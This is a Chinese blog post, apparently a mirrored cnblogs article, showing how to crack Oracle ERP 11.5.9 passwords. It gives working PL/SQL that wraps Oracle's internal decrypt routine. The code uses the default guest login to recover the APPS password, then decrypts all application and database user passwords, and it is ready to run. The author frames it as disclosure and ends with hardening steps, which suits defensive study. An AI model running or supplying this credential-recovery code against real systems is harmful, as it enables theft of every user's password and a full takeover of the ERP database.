zoukankan      html  css  js  c++  java
  • 破解Oracle ERP 密码

    1.        写作目的        1
    2.        利用Toad或其它pl/sql工具在Oracle ERP Database中建立Package,源码如下        1
    (1).建立Package Header        1
    (2).建立Package Body        1
    3.        取得APPS密码的步骤        2
    4.        通过任何一个User name/password取得APPS密码的方法        2
    5.        通过FND_USER:ENCRYPTED_USER_PASSWORD取得明文密码的方法        3
    6.        通过上面建立的Package取得所有Oracle ERP Application User 密码的方法        3
    7.        通过上面建立的Package取得所有Oracle ERP Database User密码的方法        3
    8.        删除第一步建立的Package        3
    9.        结论        3
    10.        提高Oracle ERP的安全性        4
    11.        此程序在Oracle ERP 11.5.9通过Toad测试通过.        4

    1.        写作目的
    在要不要写出来让大家知道这个问题上想了很久, 但一想到迟早密码破解的方法还是会被人知道的,与其让少部分人知道,还不如让大家都知道,事先好作防范.
           公布密码破解方法的目的还是想让Oracle ERP做得更安全一点,让我们大家放心的去用,毕竟是几千万的东西,现在的安全性显然还达不到用户的要求. 想借大家的力量给Oracle施加一点压力,以将Oracle ERP的各个版本改得安全一点.

    2.        利用Toad或其它pl/sql工具在Oracle ERP Database中建立Package,源码如下
    (1).建立Package Header
    CREATE OR REPLACE PACKAGE CrackPwd AUTHID CURRENT_USER
    AS
       FUNCTION getpwd (orauser IN VARCHAR2, appuserpwd IN VARCHAR2)
          RETURN VARCHAR2;
    END CrackPwd;
    (2).建立Package Body
    CREATE OR REPLACE PACKAGE BODY CrackPwd
    AS
       FUNCTION getpwd (orauser IN VARCHAR2, appuserpwd IN VARCHAR2)
          RETURN VARCHAR2
       AS
          LANGUAGE JAVA
              NAME 'oracle.apps.fnd.security.WebSessionManagerProc.decrypt(java.lang.String,java.lang.String) return java.lang.String';
    END CrackPwd;
    /
    3.        取得APPS密码的步骤
    假设现在什么Oracle erp权限都没有,怎么去知道oracle erp databaes的权限呢? 我们知道Oracle erp提供了一个database的公用账户(gateway user),此账户拥有database的最小权限,这个公用账号是: APPLSYSPUB/PUB(oracle erp网页中或URL中都有公开此账户),虽然此账户没有什么权限,但却有FND_USER_VIEW 的查询权限,通过这个view可以看到erp中所有的user和其ENCRYPED_FOUNDATION_PASSWORD字段,问题就出在这个view的ENCRYPED_FOUNDATION_PASSWORD字段上, ENCRYPED_FOUNDATION_PASSWORD这个字段是由APPS的密码和用户密码一起通过加密算法得出的结果, 因此只要知道Oracle ERP的解密算法就可以通过fnd_user中任何一个user的password反查apps的密码.,而要知道fnd_user中任何一个user的密码是太简单的事了,在erp安装时就预设了很多账户,这些账户的user name和password都是一样的,一般没有人去改这些账户的密码
    4.        通过任何一个User name/password取得APPS密码的方法
    SET SERVEROUTPUT ON
    DECLARE
      guestUserPwd VARCHAR2(200);
      guestUserName VARCHAR2(100);
      guestFndPwd VARCHAR2(100);
      guestEncFndPwd VARCHAR2(100);
      delim NUMBER;
    BEGIN
    guestUserPwd :='GUEST/ORACLE';--Can any user password
    IF  guestUserPwd IS NULL THEN
             guestUserPwd := UPPER(fnd_profile.value('GUEST_USER_PWD'));
      END IF;
      delim := INSTR(guestUserPwd,'/');
      guestUserName := UPPER(SUBSTR(guestUserPwd,1,delim-1));
       SELECT encrypted_foundation_password INTO guestEncFndPwd
      FROM fnd_user_view
      WHERE user_name = guestUserName AND (start_date <= SYSDATE) AND
        (end_date IS NULL OR end_date > SYSDATE);
         guestFndPwd :=CrackPwd.getpwd(guestUserPwd,guestEncFndPwd);
        IF NOT (guestFndPwd IS NULL) THEN
           DBMS_OUTPUT.put_line(guestFndPwd);
        END IF;
    END;

    注: guestUserPwd :='GUEST/ORACLE';--Can any user password
         上面这一行可以改成任何一个User的username/password,账号和密码之间用”/”隔开
    以上程序可以用toad执行
    5.        通过FND_USER:ENCRYPTED_USER_PASSWORD取得明文密码的方法
    SET SERVEROUT ON
    DECLARE
       v_encrypted_pwd   VARCHAR2 (100);
       v_apps_pwd        VARCHAR2 (100);
       v_user_pwd        VARCHAR (100);
    BEGIN
       v_encrypted_pwd :='ZGA05468EA2C7A00CE5D9ED6562B352364325D40A247D58
    3C10B916D88062771250F4BE653891CA90671C74187B132118335';
    --get  ENCRYPTED_USER_PASSWORD from fnd_user
       IF v_apps_pwd IS NULL
       THEN
          v_apps_pwd := 'APPS';
       END IF;

       v_user_pwd := crackpwd.getpwd (v_apps_pwd, v_encrypted_pwd);
       DBMS_OUTPUT.put_line (v_user_pwd);
    END;

    6.        通过上面建立的Package取得所有Oracle ERP Application User 密码的方法
    SELECT user_name,CrackPwd.getpwd('APPS',ENCRYPTED_USER_PASSWORD)  pwd  FROM  APPS.fnd_user
    7.        通过上面建立的Package取得所有Oracle ERP Database User密码的方法
    select fou.oracle_username,CrackPwd.getpwd('APPS',encrypted_oracle_password) pwd from  APPS.fnd_oracle_userid fou
    8.        删除第一步建立的Package  
    DROP PACKAGE CrackPwd
    9.        结论
    1).只要知道fnd_user中任何一个人的密码就可以反推APPS的密码,即使将database中apps密码改掉也可以反推.
    2).反过来只要知道了apps的密码,fnd_user中所有user的密码都可以反推
    3).以此类推,只要知道fnd_user中任何一个人的密码就可以反推其它所有User的密码.
    4).同理,oracle erp db user(table:fnd_oracle_userid)中密码的加密算法同fnd_user,也就是说只要知道了APPS的密码,则db user的所有密码都可以反推.
    10.        提高Oracle ERP的安全性
    (1).更改APPS的密码
    (2).更改所有预先安装的fnd_user中所有user的password
    (3).更改oracle erp database中的所有user(通过table:fnd_oracle_userid进行查询)的password
    (4).更改在Profile: GUEST_USER_PWD 中预先设置的GUEST账户密码
    (5).尽量不要将Database 可以通过公网连接.
    (6).User离职后要将其密码变更后才停用.
    但此方法也无法防止内部User知道APPS密码,只有当你所有密码都更改过了,你才敢在公网上连接ERP的Database.
    11.        此程序在Oracle ERP 11.5.9通过Toad测试通过.

  • 相关阅读:
    Vue3使用video插件
    Syntax Error: Error: PostCSS received undefined instead of CSS string
    基于Frida的脱壳工具
    java byte[]与十六进制字符串相互转换
    Linux 安裝mitmproxy抓包基础教程
    Windows 安装mitmproxy 抓包基础教程
    python之get/post请求指定URL返回的网页内容,出现gzip乱码解决
    一张图说明java层与so层分析技巧
    app动态调试so层环境搭建
    frida hook基本操作命令
  • 原文地址:https://www.cnblogs.com/wanghang/p/6299478.html
Copyright © 2011-2022 走看看